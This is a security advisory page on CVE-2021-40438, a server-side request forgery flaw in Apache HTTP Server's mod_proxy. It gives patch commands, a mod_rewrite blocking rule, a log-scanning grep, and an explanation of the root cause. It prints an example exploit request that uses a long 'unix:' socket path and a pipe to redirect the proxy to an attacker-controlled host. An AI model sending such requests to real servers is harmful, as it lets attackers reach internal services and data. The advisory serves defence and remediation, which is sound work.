Apache HTTP Server mod_proxy Server-Side Request Forgery (SSRF) Vulnerability (CVE-2021-40438) Technical Advisory
Executive & SecOps Summary
SECOPS ASSESSMENTApache HTTP Server versions 2.4.48 and earlier with mod_proxy enabled
Unauthenticated remote attackers can craft malicious URI paths to force mod_proxy to forward requests to an arbitrary origin server, leading to SSRF
Immediately upgrade Apache HTTP Server to version 2.4.49 or later, or apply strict RewriteRules to block malicious proxy requests
Affected Products & Version Scope
Remediation & Live Workaround Commands
PATCH & WORKAROUND1. Official Patch & Version Upgrade Commands
The recommended remediation is to upgrade Apache HTTP Server to the latest stable version (2.4.49 or higher).
# For Debian/Ubuntu-based systems
sudo apt-get update
sudo apt-get install --only-upgrade apache2 -y
# For RedHat/CentOS/Rocky Linux-based systems
sudo dnf clean all
sudo dnf upgrade httpd -y
# Restart service and verify the installed version
sudo systemctl restart httpd || sudo systemctl restart apache2
apache2 -v || httpd -v2. Temporary Workaround & Hardening Configuration
If an immediate upgrade is not feasible, implement a RewriteRule in your Apache configuration to block requests containing the malicious unix: pattern.
# Add the following rules to your httpd.conf or apache2.conf
<IfModule mod_rewrite.c>
RewriteEngine On
# Block requests attempting to abuse the unix: schema
RewriteCond %{QUERY_STRING} ^unix:.* [NC,OR]
RewriteCond %{REQUEST_URI} ^.*unix:.* [NC]
RewriteRule .* - [F,L]
</IfModule>
# Test configuration and reload Apache
sudo apachectl configtest
sudo systemctl reload httpd || sudo systemctl reload apache23. Log Audit & IoC Verification Commands
Use the following script to scan your Apache access logs for potential exploitation attempts targeting this vulnerability.
# Scan access logs for the 'unix:' keyword followed by a pipe character
echo '[+] Scanning Apache Access Logs for CVE-2021-40438 exploitation attempts...'
sudo grep -Ei 'unix:[^|]*\|' /var/log/apache2/access.log /var/log/httpd/access_log 2>/dev/null || echo '[-] No suspicious patterns found.'Block Exploits Instantly with Managed Virtual Patching Rules
Can't patch production immediately? Deploy managed WAF rules at the edge to intercept RCE, SQLi, and deserialization payloads before they hit your origin server.
Technical Root Cause & Exploitation Mechanics
1. Vulnerability Overview & Root Cause
This vulnerability (CVE-2021-40438) is a critical Server-Side Request Forgery (SSRF) in the mod_proxy module of Apache HTTP Server [1, CWE-918]. The root cause lies in the improper validation and parsing of the request URI path when handling proxy configurations. Specifically, when a crafted request containing an excessively long unix: socket path prefix is processed, a parsing failure or string truncation occurs, allowing an attacker to override the intended backend destination with an arbitrary external target.
2. Exploitation Mechanics & Attack Scenario
An attacker exploits this vulnerability by sending a specially crafted HTTP request to the target Apache server configured as a reverse proxy. The request typically takes the following form: GET http://target-server/proxy?unix:AAAA...[770+ chars]...|http://attacker-controlled-server/ HTTP/1.1 During processing, the ap_proxy_canon_url function fails to handle the extremely long Unix Domain Socket (UDS) path correctly. Due to this parsing error, the server ignores the unix: prefix and instead forwards the request to the URL specified after the pipe (|) character, which points to the attacker's external server.
3. Infrastructure & Business Impact
With a CVSS score of 9.0 (Critical) and its inclusion in the CISA KEV catalog, this vulnerability represents a severe threat that is actively exploited in the wild. Successful exploitation allows external attackers to bypass network perimeters and access internal-only resources, such as cloud metadata services (e.g., AWS IMDS), internal APIs, and databases. This can result in sensitive data exfiltration, unauthorized internal access, and potential lateral movement within the enterprise network.
Official Vendor Advisories & References
A crafted request uri-path can cause mod_proxy to forward the request to an origin server choosen by the remote user. This issue affects Apache HTTP Server 2.4.48 and earlier.
Frequently Asked SecOps Questions (CVE-2021-40438)
FAQQ1. How critical is CVE-2021-40438 and is it actively exploited in the wild?
CVE-2021-40438 is rated CVSS 9.0 (CRITICAL) with a 30-day EPSS exploitation probability of 100.0%. It is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, requiring immediate emergency remediation.
Q2. Which vendors and products are affected by CVE-2021-40438?
Primary impacted vendors include apache across http_server. Scope summary: Apache HTTP Server 2.4.48 and all prior 2.4.x versions (when mod_proxy is enabled)
Q3. What temporary mitigations or workarounds exist for CVE-2021-40438 before patching?
[Mitigation] Immediately upgrade Apache HTTP Server to version 2.4.49 or later, or apply strict RewriteRules to block malicious proxy requests Follow the CLI remediation commands and interactive SecOps checklist on this page to restrict exposure prior to your maintenance window.
Generate an Internal Engineering Notice or CISO Report for CVE-2021-40438
Instantly format this advisory into an executive CISO summary or engineering patch ticket.
🔗 Related Advisories in Similar Stack (apache)
View Category →Apache ActiveMQ Jolokia JMX-HTTP Bridge Remote Code Execution Vulnerability Advisory (CVE-2026-34197)
[Affected Scope] Apache ActiveMQ Classic versions prior to 5.19.4, and 6.0.0 through 6.2.3
Apache Tomcat EncryptInterceptor Bypass and Sensitive Data Exposure Vulnerability (CVE-2026-34486)
[Affected Scope] Apache Tomcat versions 11.0.20, 10.1.53, and 9.0.116 utilizing clustering with EncryptInterceptor enabled
Apache Tomcat EncryptInterceptor Padding Oracle Vulnerability (CVE-2026-29146) Security Advisory
[Affected Scope] Apache Tomcat deployments utilizing `EncryptInterceptor` with default configurations for cluster membership protection (11.0.0-M1 to 11.0.18, 10.0.0-M1 to 10.1.52, 9.0.13 to 9.0.115, 8.5.38 to 8.5.100, 7.0.100 to 7.0.109).
Apache MINA 3.0 JavaNativeMessageDecoder Deserialization Remote Code Execution Vulnerability (CVE-2026-118636)
[Affected Scope] Inactive Apache MINA 3.0.0 branch and applications utilizing its codec module
Subscribe to Daily Vulnerability Briefings & KEV Alerts
Concise morning briefings for SecOps, DevSecOps, and SRE teams covering newly exploited CVEs and mitigation priorities.